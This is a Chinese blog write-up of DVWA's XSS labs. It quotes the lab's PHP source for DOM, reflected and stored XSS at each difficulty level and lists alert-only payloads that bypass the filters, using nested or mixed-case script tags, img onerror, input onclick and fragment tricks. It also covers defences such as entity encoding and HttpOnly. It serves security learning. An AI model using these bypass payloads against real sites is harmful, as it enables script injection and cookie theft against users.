DVWA靶场系列(六)—— XSS(跨站脚本攻击)

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

漏洞原理

XSS又叫CSS(Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往Web页面
里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意的特殊目的。它同xxe是有很大区别的,相同点是对用户输入的数据过于信任导致恶意代码被执行,可以看我另一篇博客对xxe漏洞的分析http://t.csdn.cn/kyX8v
XSS漏洞分类
1.反射型
反射型XSS也叫做非持久型XSS,攻击者在URL中插入XSS代码,服务端将URL中的XSS代码输出到页面上,攻击者将带有XSS代码的URL发送给用户,用户打开后受到XSS攻击。
2.存储型
攻击者在页面上插入XSS代码,服务器端将数据存入数据库,当用户访问到存在XSS漏洞的页面时,服务器端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果。
3.DOM型
通过修改页面的DOM节点形成的XSS,称之为XSS;效果跟反射型XSS类似,攻击者在URL中插入XSS代码,前端页面直接从URL中获取XSS代码并且输出到页面,导致XSS代码的执行,攻击者将带有XSS代码的URL发给用户,用户打开后受到XSS攻击。

漏洞危害

XSS漏洞的危害
1.窃取用户Cookie,如果用户Cookie被窃取,攻击者可以不通过密码,而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击
4.用户PC信息探测收集器
5.XSS蠕虫攻击

防御措施

(1) 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。
(2) 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空。
(3)HttpOnly
HttpOnly是微软公司的Internet Explorer 6 SP1引入的一项新特性。这个特性为Cookie提供了一个新的属性,用以阻止客户端脚本访问Cookie。至今已成为了一个标准,几乎所有的浏览器都会支持HttpOnly
许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 Cookie。

靶场实战

DOM-XSS

Low难度

源码分析
<?php

# No protections, anything goes

?> 

在这里插入图片描述

这里可以发现,源码没有进行任何过滤,且发出的GET请求,参数是default值。

漏洞复现

直接将要执行的js代码:<script>alert(/XSS/)</script>赋值给default,即可看到代码被执行成功,且网页界面的DOM节点被修改。
在这里插入图片描述

Medium难度

源码分析
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

可以看到这段代码过滤default提交参数中的“<script”字符串,stripos() 函数会匹配提交的参数中第一次出现”<script“,如果出现了,就会手动通过location 将URL 后面的参数修改为?default=English。

漏洞复现

这里可以利用input标签来绕过过滤:
?default=English<input onclick=alert(/XSS/)>
在这里插入图片描述
还可以利用ing标签来绕过,但前提是需要闭合前面的option标签和select 标签闭合:
?default=</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述

High难度

源码分析
 <?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

可以看到加入了白名单过滤规则,白名单只允许传的default值为French、English、German、Spanish其中一个凡是不在白名单中的,强制修改其为English。

漏洞复现

这里可以利用English#与English&x来绕过。
比如:
?default=English#<script>alert(/XSS/)</script>
?default=English&x<script>alert(/XSS/)</script>
?default=English#<input onclick=alert(/XSS/)>
?default=English&x<input onclick=alert(/XSS/)>
?default=English#</option></select><img src='' onerror=alert(/XSS/)>
?default=English&x</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述

Impossible难度

源码分析
<?php

# Don't need to do anything, protction handled on the client side

?>  

在这里插入图片描述
可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。

reflected-XSS

Low难度

源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

在这里插入图片描述
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

漏洞复现

直接注入js代码:<script>alert(/XSS/)</script>
在这里插入图片描述

Medium难度

源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

在这里插入图片描述

这里使用str_replace() 函数对name 变量中的敏感字符

漏洞复现

这里可以通过嵌套绕过:<sc<script>ript>alert(/XSS/)</script>
在这里插入图片描述
大小写绕过:<Script>alert(/XSS/)</sCript>
在这里插入图片描述
使用其他标签进行绕过:<input onclick=alert(/XSS/)>
在这里插入图片描述
</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述

High难度

源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

在这里插入图片描述
同样使用黑名单过滤输入,preg_replace() 函数将包含<script的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞复现

当然同样可以使用其他标签绕过:
<input onclick=alert(/XSS/)>
</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述
在这里插入图片描述

Impossible难度

源码分析
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在这里插入图片描述

这里使用htmlspecialchars()函数进行过滤,htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,输入到

标签中,目前没有什么好的方法进行绕过。

Stored-XSS

Low难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

在这里插入图片描述
// trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
// stripslashes(string)
函数删除字符串中的反斜杠。
// mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
这些函数只是对数据库进行了保护,并没有对XSS进行过滤.

漏洞复现

直接注入js代码:<script>alert(/XSS/)</script>
在这里插入图片描述

Medium难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

在这里插入图片描述
1、addslashes
addslashes(string)//在预定义字符前添加反斜杠,预定义字符 ’ " \ NULL
2、strip_tags
strip_tags(string,allow)//去除字符串中的HTML、XML、PHP 的标签
//allow 参数可选,规定允许这些标签
3、htmlspecialchars
htmlspecialchars(string,flags,character-set,double_encode)
//把预定义的字符转换为HTML实体,预定义字符 & " ’ < >
可以看到对message 变量过滤的很彻底,但是对name变量,只对其进行简单的过滤,过滤掉了“

漏洞复现

字符长度限制可以本地浏览器直接手动修改长度,当然也可以抓包修改:
在这里插入图片描述
接下来使用和reflected-XSS(反射型跨站脚本攻击)Meduim难度一样的方法进行绕过:
1、嵌套
name <sc<script>ript>alert(/XSS/)</script>
message XXX
2、大小写
name <Script>alert(/XSS/)</script>
message XXX
3、其他标签
name <img src=’’ onerror=alert(/XSS/)>
message XXX
在这里插入图片描述

High难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

在这里插入图片描述
可以看到同样对message进行了非常严格的过滤。

漏洞复现

但是对于name依旧可以采取其他标签的形式绕过:<img src=’’ onerror=alert(/XSS/)>
在这里插入图片描述

Impossible难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在这里插入图片描述
这里对message和name变量都进行了严格的过滤,而且还检测了用户的token,没有办法进行绕过了。

又是朴实无华的一天!!!!!!!!!!!!

参考文章:http://t.csdn.cn/h46YP

  • 7
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值